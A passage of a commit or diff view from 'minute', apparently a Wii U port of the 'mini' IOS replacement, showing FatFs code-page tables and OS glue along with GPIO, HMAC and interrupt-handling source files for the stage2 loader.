};
#elif _CODE_PAGE == 866
#define _TBLDEF 1
static
const WCHAR Tbl[] = { /* CP866(0x80-0xFF) to Unicode conversion table */
0x0410, 0x0411, 0x0412, 0x0413, 0x0414, 0x0415, 0x0416, 0x0417, 0x0418, 0x0419, 0x041A, 0x041B, 0x041C, 0x041D, 0x041E, 0x041F,
0x0420, 0x0421, 0x0422, 0x0423, 0x0424, 0x0425, 0x0426, 0x0427, 0x0428, 0x0429, 0x042A, 0x042B, 0x042C, 0x042D, 0x042E, 0x042F,
0x0430, 0x0431, 0x0432, 0x0433, 0x0434, 0x0435, 0x0436, 0x0437, 0x0438, 0x0439, 0x043A, 0x043B, 0x043C, 0x043D, 0x043E, 0x043F,
0x2591, 0x2592, 0x2593, 0x2502, 0x2524, 0x2561, 0x2562, 0x2556, 0x2555, 0x2563, 0x2551, 0x2557, 0x255D, 0x255C, 0x255B, 0x2510,
0x2514, 0x2534, 0x252C, 0x251C, 0x2500, 0x253C, 0x255E, 0x255F, 0x255A, 0x2554, 0x2569, 0x2566, 0x2560, 0x2550, 0x256C, 0x2567,
0x2568, 0x2564, 0x2565, 0x2559, 0x2558, 0x2552, 0x2553, 0x256B, 0x256A, 0x2518, 0x250C, 0x2588, 0x2584, 0x258C, 0x2590, 0x2580,
0x0440, 0x0441, 0x0442, 0x0443, 0x0444, 0x0445, 0x0446, 0x0447, 0x0448, 0x0449, 0x044A, 0x044B, 0x044C, 0x044D, 0x044E, 0x044F,
0x0401, 0x0451, 0x0404, 0x0454, 0x0407, 0x0457, 0x040E, 0x045E, 0x00B0, 0x2219, 0x00B7, 0x221A, 0x2116, 0x00A4, 0x25A0, 0x00A0
};
#elif _CODE_PAGE == 869
#define _TBLDEF 1
static
const WCHAR Tbl[] = { /* CP869(0x80-0xFF) to Unicode conversion table */
0x00B7, 0x00B7, 0x00B7, 0x00B7, 0x00B7, 0x00B7, 0x0386, 0x00B7, 0x00B7, 0x00AC, 0x00A6, 0x2018, 0x2019, 0x0388, 0x2015, 0x0389,
0x038A, 0x03AA, 0x038C, 0x00B7, 0x00B7, 0x038E, 0x03AB, 0x00A9, 0x038F, 0x00B2, 0x00B3, 0x03AC, 0x00A3, 0x03AD, 0x03AE, 0x03AF,
0x03CA, 0x0390, 0x03CC, 0x03CD, 0x0391, 0x0392, 0x0393, 0x0394, 0x0395, 0x0396, 0x0397, 0x00BD, 0x0398, 0x0399, 0x00AB, 0x00BB,
0x2591, 0x2592, 0x2593, 0x2502, 0x2524, 0x039A, 0x039B, 0x039C, 0x039D, 0x2563, 0x2551, 0x2557, 0x255D, 0x039E, 0x039F, 0x2510,
0x2514, 0x2534, 0x252C, 0x251C, 0x2500, 0x253C, 0x0A30, 0x03A1, 0x255A, 0x2554, 0x2569, 0x2566, 0x2560, 0x2550, 0x256C, 0x03A3,
0x03A4, 0x03A5, 0x03A6, 0x03A7, 0x03A8, 0x03A9, 0x03B1, 0x03B2, 0x03B3, 0x2518, 0x250C, 0x2588, 0x2584, 0x03B4, 0x03B5, 0x2580,
0x03B6, 0x03B7, 0x03B8, 0x03B9, 0x03BA, 0x03BB, 0x03BC, 0x03BD, 0x03BE, 0x03BF, 0x03C0, 0x03C1, 0x03C3, 0x03C2, 0x03C4, 0x0384,
0x00AD, 0x00B1, 0x03C5, 0x03C6, 0x03C7, 0x00A7, 0x03C8, 0x0385, 0x00B0, 0x00A8, 0x03C9, 0x03CB, 0x03B0, 0x03CE, 0x25A0, 0x00A0
};
#endif
#if !_TBLDEF || !_USE_LFN
#error This file is not needed at current configuration. Remove from the project.
#endif
WCHAR ff_convert ( /* Converted character, Returns zero on error */
WCHAR chr, /* Character code to be converted */
UINT dir /* 0: Unicode to OEM code, 1: OEM code to Unicode */
)
{
WCHAR c;
if (chr < 0x80) { /* ASCII */
c = chr;
} else {
if (dir) { /* OEM code to Unicode */
c = (chr >= 0x100) ? 0 : Tbl[chr - 0x80];
} else { /* Unicode to OEM code */
for (c = 0; c < 0x80; c++) {
if (chr == Tbl[c]) break;
}
c = (c + 0x80) & 0xFF;
}
}
return c;
}
WCHAR ff_wtoupper ( /* Returns upper converted character */
WCHAR chr /* Unicode character to be upper converted */
)
{
static const WCHAR lower[] = { /* Lower case characters to be converted */
/* Latin Supplement */ 0xE0,0xE1,0xE2,0xE3,0xE4,0xE5,0xE6,0xE7,0xE8,0xE9,0xEA,0xEB,0xEC,0xED,0xEE,0xEF,0xF0,0xF1,0xF2,0xF3,0xF4,0xF5,0xF6,0xF8,0xF9,0xFA,0xFB,0xFC,0xFD,0xFE,0xFF,
/* Latin Extended-A */ 0x101,0x103,0x105,0x107,0x109,0x10B,0x10D,0x10F,0x111,0x113,0x115,0x117,0x119,0x11B,0x11D,0x11F,0x121,0x123,0x125,0x127,0x129,0x12B,0x12D,0x12F,0x131,0x133,0x135,0x137,0x13A,0x13C,0x13E,0x140,0x142,0x144,0x146,0x148,0x14B,0x14D,0x14F,0x151,0x153,0x155,0x157,0x159,0x15B,0x15D,0x15F,0x161,0x163,0x165,0x167,0x169,0x16B,0x16D,0x16F,0x171,0x173,0x175,0x177,0x17A,0x17C,0x17E,
/* Latin Extended-B */ 0x183,0x185,0x188,0x18C,0x192,0x199,0x1A1,0x1A3,0x1A8,0x1AD,0x1B0,0x1B4,0x1B6,0x1B9,0x1BD,0x1C6,0x1C9,0x1CC,0x1CE,0x1D0,0x1D2,0x1D4,0x1D6,0x1D8,0x1DA,0x1DC,0x1DD,0x1DF,0x1E1,0x1E3,0x1E5,0x1E7,0x1E9,0x1EB,0x1ED,0x1EF,0x1F3,0x1F5,0x1FB,0x1FD,0x1FF,0x201,0x203,0x205,0x207,0x209,0x20B,0x20D,0x20F,0x211,0x213,0x215,0x217,
/* Greek, Coptic */ 0x3B1,0x3B2,0x3B3,0x3B4,0x3B5,0x3B6,0x3B7,0x3B8,0x3B9,0x3BA,0x3BB,0x3BC,0x3BD,0x3BE,0x3BF,0x3C0,0x3C1,0x3C3,0x3C4,0x3C5,0x3C6,0x3C7,0x3C8,0x3C9,0x3CA,0x3CB,0x3CC,0x3CD,0x3CE,0x3E3,0x3E5,0x3E7,0x3E9,0x3EB,
/* Cyrillic */ 0x430,0x431,0x432,0x433,0x434,0x435,0x436,0x437,0x438,0x439,0x43A,0x43B,0x43C,0x43D,0x43E,0x43F,0x440,0x441,0x442,0x443,0x444,0x445,0x446,0x447,0x448,0x449,0x44A,0x44B,0x44C,0x44D,0x44E,0x44F,0x452,0x453,0x454,0x455,0x456,0x457,0x458,0x459,0x45A,0x45B,0x45C,0x45E,0x45F,0x461,0x463,0x465,0x467,0x469,0x46B,0x46D,0x46F,0x471,0x473,0x475,0x477,0x479,0x47B,0x47D,0x47F,0x481,0x491,0x493,0x495,0x497,0x499,0x49B,0x49D,0x49F,0x4A1,0x4A3,0x4A5,0x4A7,0x4A9,0x4AB,0x4AD,0x4AF,0x4B1,0x4B3,0x4B5,0x4B7,0x4B9,0x4BB,0x4BD,0x4BF,0x4C2,0x4C4,0x4C8,0x4D1,0x4D3,0x4D5,0x4D7,0x4D9,0x4DB,0x4DD,0x4DF,0x4E1,0x4E3,0x4E5,0x4E7,0x4E9,0x4EB,0x4ED,0x4EF,0x4F1,0x4F3,0x4F5,0x4F9,
/* Armenian */ 0x561,0x562,0x563,0x564,0x565,0x566,0x567,0x568,0x569,0x56A,0x56B,0x56C,0x56D,0x56E,0x56F,0x570,0x571,0x572,0x573,0x574,0x575,0x576,0x577,0x578,0x579,0x57A,0x57B,0x57C,0x57D,0x57E,0x57F,0x580,0x581,0x582,0x583,0x584,0x585,0x586,
/* Latin Extended Additional */ 0x1E01,0x1E03,0x1E05,0x1E07,0x1E09,0x1E0B,0x1E0D,0x1E0F,0x1E11,0x1E13,0x1E15,0x1E17,0x1E19,0x1E1B,0x1E1D,0x1E1F,0x1E21,0x1E23,0x1E25,0x1E27,0x1E29,0x1E2B,0x1E2D,0x1E2F,0x1E31,0x1E33,0x1E35,0x1E37,0x1E39,0x1E3B,0x1E3D,0x1E3F,0x1E41,0x1E43,0x1E45,0x1E47,0x1E49,0x1E4B,0x1E4D,0x1E4F,0x1E51,0x1E53,0x1E55,0x1E57,0x1E59,0x1E5B,0x1E5D,0x1E5F,0x1E61,0x1E63,0x1E65,0x1E67,0x1E69,0x1E6B,0x1E6D,0x1E6F,0x1E71,0x1E73,0x1E75,0x1E77,0x1E79,0x1E7B,0x1E7D,0x1E7F,0x1E81,0x1E83,0x1E85,0x1E87,0x1E89,0x1E8B,0x1E8D,0x1E8F,0x1E91,0x1E93,0x1E95,0x1E97,0x1E99,0x1E9B,0x1E9D,0x1E9F,0x1EA1,0x1EA3,0x1EA5,0x1EA7,0x1EA9,0x1EAB,0x1EAD,0x1EAF,0x1EB1,0x1EB3,0x1EB5,0x1EB7,0x1EB9,0x1EBB,0x1EBD,0x1EBF,0x1EC1,0x1EC3,0x1EC5,0x1EC7,0x1EC9,0x1ECB,0x1ECD,0x1ECF,0x1ED1,0x1ED3,0x1ED5,0x1ED7,0x1ED9,0x1EDB,0x1EDD,0x1EDF,0x1EE1,0x1EE3,0x1EE5,0x1EE7,0x1EE9,0x1EEB,0x1EED,0x1EEF,0x1EF1,0x1EF3,0x1EF5,0x1EF7,0x1EF9,
/* Number forms */ 0x2170,0x2171,0x2172,0x2173,0x2174,0x2175,0x2176,0x2177,0x2178,0x2179,0x217A,0x217B,0x217C,0x217D,0x217E,0x217F,
/* Full-width */ 0xFF41,0xFF42,0xFF43,0xFF44,0xFF45,0xFF46,0xFF47,0xFF48,0xFF49,0xFF4A,0xFF4B,0xFF4C,0xFF4D,0xFF4E,0xFF4F,0xFF50,0xFF51,0xFF52,0xFF53,0xFF54,0xFF55,0xFF56,0xFF57,0xFF58,0xFF59,0xFF5A
};
static const WCHAR upper[] = { /* Upper case characters correspond to lower[] */
0xC0,0xC1,0xC2,0xC3,0xC4,0xC5,0xC6,0xC7,0xC8,0xC9,0xCA,0xCB,0xCC,0xCD,0xCE,0xCF,0xD0,0xD1,0xD2,0xD3,0xD4,0xD5,0xD6,0xD8,0xD9,0xDA,0xDB,0xDC,0xDD,0xDE,0x178,
0x100,0x102,0x104,0x106,0x108,0x10A,0x10C,0x10E,0x110,0x112,0x114,0x116,0x118,0x11A,0x11C,0x11E,0x120,0x122,0x124,0x126,0x128,0x12A,0x12C,0x12E,0x130,0x132,0x134,0x136,0x139,0x13B,0x13D,0x13F,0x141,0x143,0x145,0x147,0x14A,0x14C,0x14E,0x150,0x152,0x154,0x156,0x158,0x15A,0x15C,0x15E,0x160,0x162,0x164,0x166,0x168,0x16A,0x16C,0x16E,0x170,0x172,0x174,0x176,0x179,0x17B,0x17D,
0x182,0x184,0x187,0x18B,0x191,0x198,0x1A0,0x1A2,0x1A7,0x1AC,0x1AF,0x1B3,0x1B5,0x1B8,0x1BC,0x1C4,0x1C7,0x1CA,0x1CD,0x1CF,0x1D1,0x1D3,0x1D5,0x1D7,0x1D9,0x1DB,0x18E,0x1DE,0x1E0,0x1E2,0x1E4,0x1E6,0x1E8,0x1EA,0x1EC,0x1EE,0x1F1,0x1F4,0x1FA,0x1FC,0x1FE,0x200,0x202,0x204,0x206,0x208,0x20A,0x20C,0x20E,0x210,0x212,0x214,0x216,
0x391,0x392,0x393,0x394,0x395,0x396,0x397,0x398,0x399,0x39A,0x39B,0x39C,0x39D,0x39E,0x39F,0x3A0,0x3A1,0x3A3,0x3A4,0x3A5,0x3A6,0x3A7,0x3A8,0x3A9,0x3AA,0x3AB,0x38C,0x38E,0x38F,0x3E2,0x3E4,0x3E6,0x3E8,0x3EA,
0x410,0x411,0x412,0x413,0x414,0x415,0x416,0x417,0x418,0x419,0x41A,0x41B,0x41C,0x41D,0x41E,0x41F,0x420,0x421,0x422,0x423,0x424,0x425,0x426,0x427,0x428,0x429,0x42A,0x42B,0x42C,0x42D,0x42E,0x42F,0x402,0x403,0x404,0x405,0x406,0x407,0x408,0x409,0x40A,0x40B,0x40C,0x40E,0x40F,0x460,0x462,0x464,0x466,0x468,0x46A,0x46C,0x46E,0x470,0x472,0x474,0x476,0x478,0x47A,0x47C,0x47E,0x480,0x490,0x492,0x494,0x496,0x498,0x49A,0x49C,0x49E,0x4A0,0x4A2,0x4A4,0x4A6,0x4A8,0x4AA,0x4AC,0x4AE,0x4B0,0x4B2,0x4B4,0x4B6,0x4B8,0x4BA,0x4BC,0x4BE,0x4C1,0x4C3,0x5C7,0x4D0,0x4D2,0x4D4,0x4D6,0x4D8,0x4DA,0x4DC,0x4DE,0x4E0,0x4E2,0x4E4,0x4E6,0x4E8,0x4EA,0x4EC,0x4EE,0x4F0,0x4F2,0x4F4,0x4F8,
0x531,0x532,0x533,0x534,0x535,0x536,0x537,0x538,0x539,0x53A,0x53B,0x53C,0x53D,0x53E,0x53F,0x540,0x541,0x542,0x543,0x544,0x545,0x546,0x547,0x548,0x549,0x54A,0x54B,0x54C,0x54D,0x54E,0x54F,0x550,0x551,0x552,0x553,0x554,0x555,0x556,
0x1E00,0x1E02,0x1E04,0x1E06,0x1E08,0x1E0A,0x1E0C,0x1E0E,0x1E10,0x1E12,0x1E14,0x1E16,0x1E18,0x1E1A,0x1E1C,0x1E1E,0x1E20,0x1E22,0x1E24,0x1E26,0x1E28,0x1E2A,0x1E2C,0x1E2E,0x1E30,0x1E32,0x1E34,0x1E36,0x1E38,0x1E3A,0x1E3C,0x1E3E,0x1E40,0x1E42,0x1E44,0x1E46,0x1E48,0x1E4A,0x1E4C,0x1E4E,0x1E50,0x1E52,0x1E54,0x1E56,0x1E58,0x1E5A,0x1E5C,0x1E5E,0x1E60,0x1E62,0x1E64,0x1E66,0x1E68,0x1E6A,0x1E6C,0x1E6E,0x1E70,0x1E72,0x1E74,0x1E76,0x1E78,0x1E7A,0x1E7C,0x1E7E,0x1E80,0x1E82,0x1E84,0x1E86,0x1E88,0x1E8A,0x1E8C,0x1E8E,0x1E90,0x1E92,0x1E94,0x1E96,0x1E98,0x1E9A,0x1E9C,0x1E9E,0x1EA0,0x1EA2,0x1EA4,0x1EA6,0x1EA8,0x1EAA,0x1EAC,0x1EAE,0x1EB0,0x1EB2,0x1EB4,0x1EB6,0x1EB8,0x1EBA,0x1EBC,0x1EBE,0x1EC0,0x1EC2,0x1EC4,0x1EC6,0x1EC8,0x1ECA,0x1ECC,0x1ECE,0x1ED0,0x1ED2,0x1ED4,0x1ED6,0x1ED8,0x1EDA,0x1EDC,0x1EDE,0x1EE0,0x1EE2,0x1EE4,0x1EE6,0x1EE8,0x1EEA,0x1EEC,0x1EEE,0x1EF0,0x1EF2,0x1EF4,0x1EF6,0x1EF8,
0x2160,0x2161,0x2162,0x2163,0x2164,0x2165,0x2166,0x2167,0x2168,0x2169,0x216A,0x216B,0x216C,0x216D,0x216E,0x216F,
0xFF21,0xFF22,0xFF23,0xFF24,0xFF25,0xFF26,0xFF27,0xFF28,0xFF29,0xFF2A,0xFF2B,0xFF2C,0xFF2D,0xFF2E,0xFF2F,0xFF30,0xFF31,0xFF32,0xFF33,0xFF34,0xFF35,0xFF36,0xFF37,0xFF38,0xFF39,0xFF3A
};
UINT i, n, hi, li;
if (chr < 0x80) { /* ASCII characters (acceleration) */
if (chr >= 0x61 && chr <= 0x7A) chr -= 0x20;
} else { /* Non ASCII characters (table search) */
n = 12; li = 0; hi = sizeof lower / sizeof lower[0];
do {
i = li + (hi - li) / 2;
if (chr == lower[i]) break;
if (chr > lower[i]) li = i; else hi = i;
} while (--n);
if (n) chr = upper[i];
}
return chr;
}

View File

@ -0,0 +1,151 @@
/*------------------------------------------------------------------------*/
/* Sample code of OS dependent controls for FatFs */
/* (C)ChaN, 2014 */
/*------------------------------------------------------------------------*/
#include "../ff.h"
#if _FS_REENTRANT
/*------------------------------------------------------------------------*/
/* Create a Synchronization Object
/*------------------------------------------------------------------------*/
/* This function is called in f_mount() function to create a new
/ synchronization object, such as semaphore and mutex. When a 0 is returned,
/ the f_mount() function fails with FR_INT_ERR.
*/
int ff_cre_syncobj ( /* !=0:Function succeeded, ==0:Could not create due to any error */
BYTE vol, /* Corresponding logical drive being processed */
_SYNC_t *sobj /* Pointer to return the created sync object */
)
{
int ret;
*sobj = CreateMutex(NULL, FALSE, NULL); /* Win32 */
ret = (int)(*sobj != INVALID_HANDLE_VALUE);
// *sobj = SyncObjects[vol]; /* uITRON (give a static created sync object) */
// ret = 1; /* The initial value of the semaphore must be 1. */
// *sobj = OSMutexCreate(0, &err); /* uC/OS-II */
// ret = (int)(err == OS_NO_ERR);
// *sobj = xSemaphoreCreateMutex(); /* FreeRTOS */
// ret = (int)(*sobj != NULL);
return ret;
}
/*------------------------------------------------------------------------*/
/* Delete a Synchronization Object */
/*------------------------------------------------------------------------*/
/* This function is called in f_mount() function to delete a synchronization
/ object that created with ff_cre_syncobj function. When a 0 is returned,
/ the f_mount() function fails with FR_INT_ERR.
*/
int ff_del_syncobj ( /* !=0:Function succeeded, ==0:Could not delete due to any error */
_SYNC_t sobj /* Sync object tied to the logical drive to be deleted */
)
{
int ret;
ret = CloseHandle(sobj); /* Win32 */
// ret = 1; /* uITRON (nothing to do) */
// OSMutexDel(sobj, OS_DEL_ALWAYS, &err); /* uC/OS-II */
// ret = (int)(err == OS_NO_ERR);
// vSemaphoreDelete(sobj); /* FreeRTOS */
// ret = 1;
return ret;
}
/*------------------------------------------------------------------------*/
/* Request Grant to Access the Volume */
/*------------------------------------------------------------------------*/
/* This function is called on entering file functions to lock the volume.
/ When a 0 is returned, the file function fails with FR_TIMEOUT.
*/
int ff_req_grant ( /* 1:Got a grant to access the volume, 0:Could not get a grant */
_SYNC_t sobj /* Sync object to wait */
)
{
int ret;
ret = (int)(WaitForSingleObject(sobj, _FS_TIMEOUT) == WAIT_OBJECT_0); /* Win32 */
// ret = (int)(wai_sem(sobj) == E_OK); /* uITRON */
// OSMutexPend(sobj, _FS_TIMEOUT, &err)); /* uC/OS-II */
// ret = (int)(err == OS_NO_ERR);
// ret = (int)(xSemaphoreTake(sobj, _FS_TIMEOUT) == pdTRUE); /* FreeRTOS */
return ret;
}
/*------------------------------------------------------------------------*/
/* Release Grant to Access the Volume */
/*------------------------------------------------------------------------*/
/* This function is called on leaving file functions to unlock the volume.
*/
void ff_rel_grant (
_SYNC_t sobj /* Sync object to be signaled */
)
{
ReleaseMutex(sobj); /* Win32 */
// sig_sem(sobj); /* uITRON */
// OSMutexPost(sobj); /* uC/OS-II */
// xSemaphoreGive(sobj); /* FreeRTOS */
}
#endif
#if _USE_LFN == 3 /* LFN with a working buffer on the heap */
/*------------------------------------------------------------------------*/
/* Allocate a memory block */
/*------------------------------------------------------------------------*/
/* If a NULL is returned, the file function fails with FR_NOT_ENOUGH_CORE.
*/
void* ff_memalloc ( /* Returns pointer to the allocated memory block */
UINT msize /* Number of bytes to allocate */
)
{
return malloc(msize); /* Allocate a new memory block with POSIX API */
}
/*------------------------------------------------------------------------*/
/* Free a memory block */
/*------------------------------------------------------------------------*/
void ff_memfree (
void* mblock /* Pointer to the memory block to free */
)
{
free(mblock); /* Discard the memory block with POSIX API */
}
#endif

View File

@ -0,0 +1,17 @@
#include "../ff.h"
#if _USE_LFN != 0
#if _CODE_PAGE == 932 /* Japanese Shift_JIS */
#include "cc932.c"
#elif _CODE_PAGE == 936 /* Simplified Chinese GBK */
#include "cc936.c"
#elif _CODE_PAGE == 949 /* Korean */
#include "cc949.c"
#elif _CODE_PAGE == 950 /* Traditional Chinese Big5 */
#include "cc950.c"
#else /* Single Byte Character-Set */
#include "ccsbcs.c"
#endif
#endif

74
stage2/gpio.h Normal file
View File

@ -0,0 +1,74 @@
/*
* minute - a port of the "mini" IOS replacement for the Wii U.
*
* Copyright (C) 2008, 2009 Hector Martin "marcan" <marcan@marcansoft.com>
*
* This code is licensed to you under the terms of the GNU GPL, version 2;
* see file COPYING or http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt
*/
#ifndef __GPIO_H__
#define __GPIO_H__
enum {
GP_POWER = 0x00000001,
GP_SHUTDOWN = 0x00000002,
GP_FAN = 0x00000004,
GP_DCDC = 0x00000008,
GP_DISPIN = 0x00000010,
GP_SLOTLED = 0x00000020,
GP_EJECTBTN = 0x00000040,
GP_SLOTIN = 0x00000080,
GP_SENSORBAR = 0x00000100,
GP_DOEJECT = 0x00000200,
GP_EEP_CS = 0x00000400,
GP_EEP_CLK = 0x00000800,
GP_EEP_MOSI = 0x00001000,
GP_EEP_MISO = 0x00002000,
GP_AV0_SCL = 0x00004000,
GP_AV0_SDA = 0x00008000,
GP_DEBUG0 = 0x00010000,
GP_DEBUG1 = 0x00020000,
GP_DEBUG2 = 0x00040000,
GP_DEBUG3 = 0x00080000,
GP_DEBUG4 = 0x00100000,
GP_DEBUG5 = 0x00200000,
GP_DEBUG6 = 0x00400000,
GP_DEBUG7 = 0x00800000,
GP_AV1_SCL = 0x01000000,
GP_AV1_SDA = 0x02000000,
GP_MUTELAMP = 0x04000000,
GP_BT_MODE = 0x08000000,
GP_CCRH_RST = 0x10000000,
GP_WIFI_MODE = 0x20000000,
GP_SDSLOT0_PWR = 0x40000000,
};
enum {
GP2_FANSPEED = 0x00000001,
GP2_SMC_SCL = 0x00000002,
GP2_SMC_SDA = 0x00000004,
GP2_DCDC2 = 0x00000008,
GP2_AV_INT = 0x00000010,
GP2_CCRIO12 = 0x00000020,
GP2_AV_RST = 0x00000040,
};
#define GP_DEBUG_SHIFT 16
#define GP_DEBUG_MASK 0xFF0000
#define GP_ALL 0xFFFFFF
#define GP_OWNER_PPC (GP_AVE_SDA | GP_AVE_SCL | GP_DOEJECT | GP_SENSORBAR | GP_SLOTIN | GP_SLOTLED)
#define GP_OWNER_ARM (GP_ALL ^ GP_OWNER_PPC)
#define GP_INPUTS (GP_POWER | GP_EJECTBTN | GP_SLOTIN | GP_EEP_MISO | GP_AVE_SDA)
#define GP_OUTPUTS (GP_ALL ^ GP_INPUTS)
#define GP_ARM_INPUTS (GP_INPUTS & GP_OWNER_ARM)
#define GP_PPC_INPUTS (GP_INPUTS & GP_OWNER_PPC)
#define GP_ARM_OUTPUTS (GP_OUTPUTS & GP_OWNER_ARM)
#define GP_PPC_OUTPUTS (GP_OUTPUTS & GP_OWNER_PPC)
#define GP_DEFAULT_ON (GP_AVE_SCL | GP_DCDC | GP_FAN)
#define GP_ARM_DEFAULT_ON (GP_DEFAULT_ON & GP_OWNER_ARM)
#define GP_PPC_DEFAULT_ON (GP_DEFAULT_ON & GP_OWNER_PPC)
#endif

46
stage2/hmac.c Normal file
View File

@ -0,0 +1,46 @@
#include "hmac.h"
#include "sha.h"
#include "hmac.h"
#include "string.h"
#define HMAC_IPAD 0x36
#define HMAC_OPAD 0x5C
void hmac_init(hmac_ctx* ctx, const u8* key, int size)
{
int i;
memset(ctx->key, 0, sizeof(ctx->key));
if (size > sizeof(ctx->key))
sha_hash(key, ctx->key, size);
else
memcpy(ctx->key, key, size);
for (i = 0; i < sizeof(ctx->key); i++)
ctx->key[i] ^= HMAC_IPAD;
sha_init(&ctx->hash_ctx);
sha_update(&ctx->hash_ctx, ctx->key, sizeof(ctx->key));
}
void hmac_update(hmac_ctx* ctx, const void* data, int size)
{
sha_update(&ctx->hash_ctx, data, size);
}
void hmac_final(hmac_ctx* ctx, u8* hmac)
{
u8 hash[SHA_HASH_SIZE];
int i;
sha_final(&ctx->hash_ctx, hash);
for (i = 0; i < sizeof(ctx->key); i++)
ctx->key[i] ^= HMAC_IPAD ^ HMAC_OPAD;
sha_init(&ctx->hash_ctx);
sha_update(&ctx->hash_ctx, ctx->key, sizeof(ctx->key));
sha_update(&ctx->hash_ctx, hash, sizeof(hash));
sha_final(&ctx->hash_ctx, hmac);
}

18
stage2/hmac.h Normal file
View File

@ -0,0 +1,18 @@
#ifndef _HMAC_H
#define _HMAC_H
#include "types.h"
#include "sha.h"
#define HMAC_SIZE (SHA_HASH_SIZE)
typedef struct {
u8 key[SHA_BLOCK_SIZE];
sha_ctx hash_ctx;
} hmac_ctx;
void hmac_init(hmac_ctx* ctx, const u8* key, int size);
void hmac_update(hmac_ctx* ctx, const void* data, int size);
void hmac_final(hmac_ctx *ctx, u8 *hmac);
#endif /* _HMAC_H */

158
stage2/irq.c Normal file
View File

@ -0,0 +1,158 @@
/*
* minute - a port of the "mini" IOS replacement for the Wii U.
*
* Copyright (C) 2016 SALT
* Copyright (C) 2016 Daz Jones <daz@dazzozo.com>
*
* Copyright (C) 2008, 2009 Hector Martin "marcan" <marcan@marcansoft.com>
* Copyright (C) 2008, 2009 Sven Peter <svenpeter@gmail.com>
* Copyright (C) 2009 Andre Heider "dhewg" <dhewg@wiibrew.org>
*
* This code is licensed to you under the terms of the GNU GPL, version 2;
* see file COPYING or http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt
*/
#include "irq.h"
#include "latte.h"
#include "utils.h"
#include "crypto.h"
#include "nand.h"
#include "sdcard.h"
#include "debug.h"
static u32 _alarm_frequency = 0;
void irq_setup_stack(void);
void irq_initialize(void)
{
irq_setup_stack();
write32(LT_INTMR_AHBALL_ARM, 0);
write32(LT_INTSR_AHBALL_ARM, 0xffffffff);
write32(LT_INTMR_AHBLT_ARM, 0);
write32(LT_INTSR_AHBLT_ARM, 0xffffffff);
irq_restore(CPSR_FIQDIS);
//???
write32(LT_INTMR_AHBALL_ARM2X, 0);
write32(LT_INTMR_AHBLT_ARM2X, 0);
write32(LT_ERROR_MASK, 0);
write32(LT_ALARM, 0);
}
void irq_shutdown(void)
{
write32(LT_INTMR_AHBALL_ARM, 0);
write32(LT_INTSR_AHBALL_ARM, 0xffffffff);
write32(LT_INTMR_AHBLT_ARM, 0);
write32(LT_INTSR_AHBLT_ARM, 0xffffffff);
irq_kill();
}
void irq_handler(void)
{
u32 all_enabled = read32(LT_INTMR_AHBALL_ARM);
u32 all_flags = read32(LT_INTSR_AHBALL_ARM);
u32 all_mask = all_enabled & all_flags;
u32 lt_enabled = read32(LT_INTMR_AHBLT_ARM);
u32 lt_flags = read32(LT_INTSR_AHBLT_ARM);
u32 lt_mask = lt_enabled & lt_flags;
/*DEBUG("In IRQ handler: ALL (0x%08x 0x%08x 0x%08x) LT (0x%08x 0x%08x 0x%08x)\n",
all_enabled, all_flags, all_mask, lt_enabled, lt_flags, lt_mask);*/
if(all_mask & IRQF_TIMER) {
if (_alarm_frequency)
write32(LT_ALARM, read32(LT_TIMER) + _alarm_frequency);
write32(LT_INTSR_AHBALL_ARM, IRQF_TIMER);
}
if(all_mask & IRQF_NAND) {
// DEBUG("IRQ: NAND\n");
write32(NAND_CTRL, 0x7fffffff); // shut it up
write32(LT_INTSR_AHBALL_ARM, IRQF_NAND);
nand_irq();
}
/*
if(all_mask & IRQF_GPIO1B) {
// DEBUG("IRQ: GPIO1B\n");
write32(HW_GPIO1BINTFLAG, 0xFFFFFF); // shut it up
write32(LT_INTSR_AHBALL_ARM, IRQF_GPIO1B);
}
if(all_mask & IRQF_GPIO1) {
// DEBUG("IRQ: GPIO1\n");
write32(HW_GPIO1INTFLAG, 0xFFFFFF); // shut it up
write32(LT_INTSR_AHBALL_ARM, IRQF_GPIO1);
}
if(all_mask & IRQF_RESET) {
// DEBUG("IRQ: RESET\n");
write32(LT_INTSR_AHBALL_ARM, IRQF_RESET);
}*/
if(all_mask & IRQF_SHA1) {
// DEBUG("IRQ: SHA1\n");
write32(LT_INTSR_AHBALL_ARM, IRQF_SHA1);
}
if(all_mask & IRQF_AES) {
// DEBUG("IRQ: AES\n");
write32(LT_INTSR_AHBALL_ARM, IRQF_AES);
}
if(all_mask & IRQF_SD0) {
// DEBUG("IRQ: SD0\n");
sdcard_irq();
write32(LT_INTSR_AHBALL_ARM, IRQF_SD0);
}
if(lt_mask & IRQLF_SD2) {
// DEBUG("IRQL: SD2\n");
//mlc_irq(); //Ash: don't need MLC support, turning it off
write32(LT_INTSR_AHBLT_ARM, IRQLF_SD2);
}
all_mask &= ~IRQF_ALL;
if(all_mask) {
DEBUG("IRQ: ALL unknown 0x%08lx\n", all_mask);
write32(LT_INTSR_AHBALL_ARM, all_mask);
}
lt_mask &= ~IRQLF_ALL;
if(lt_mask) {
DEBUG("IRQ: LT unknown 0x%08lx\n", lt_mask);
write32(LT_INTSR_AHBALL_ARM, lt_mask);
}
}
void irq_enable(u32 irq)
{
set32(LT_INTMR_AHBALL_ARM, 1<<irq);
}
void irql_enable(u32 irq)
{
set32(LT_INTMR_AHBLT_ARM, 1<<irq);
}
void irq_disable(u32 irq)
{
clear32(LT_INTMR_AHBALL_ARM, 1<<irq);
}
void irql_disable(u32 irq)
{
clear32(LT_INTMR_AHBLT_ARM, 1<<irq);
}
void irq_set_alarm(u32 ms, u8 enable)
{
_alarm_frequency = IRQ_ALARM_MS2REG(ms);
if (enable)
write32(LT_ALARM, read32(LT_TIMER) + _alarm_frequency);
}
void irq_wait(void)
{
u32 data = 0;
__asm__ volatile ( "mcr p15, 0, %0, c7, c0, 4" : : "r" (data) );
}

75
stage2/irq.h Normal file
View File

@ -0,0 +1,75 @@
/*
* minute - a port of the "mini" IOS replacement for the Wii U.
*
* Copyright (C) 2016 SALT
* Copyright (C) 2016 Daz Jones <daz@dazzozo.com>
*
* Copyright (C) 2008, 2009 Hector Martin "marcan" <marcan@marcansoft.com>
* Copyright (C) 2008, 2009 Sven Peter <svenpeter@gmail.com>
*
* This code is licensed to you under the terms of the GNU GPL, version 2;
* see file COPYING or http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt
*/
#include "types.h"
#pragma once
#define IRQ_TIMER 0
#define IRQ_NAND 1
#define IRQ_AES 2
#define IRQ_SHA1 3
#define IRQ_EHCI 4
#define IRQ_OHCI0 5
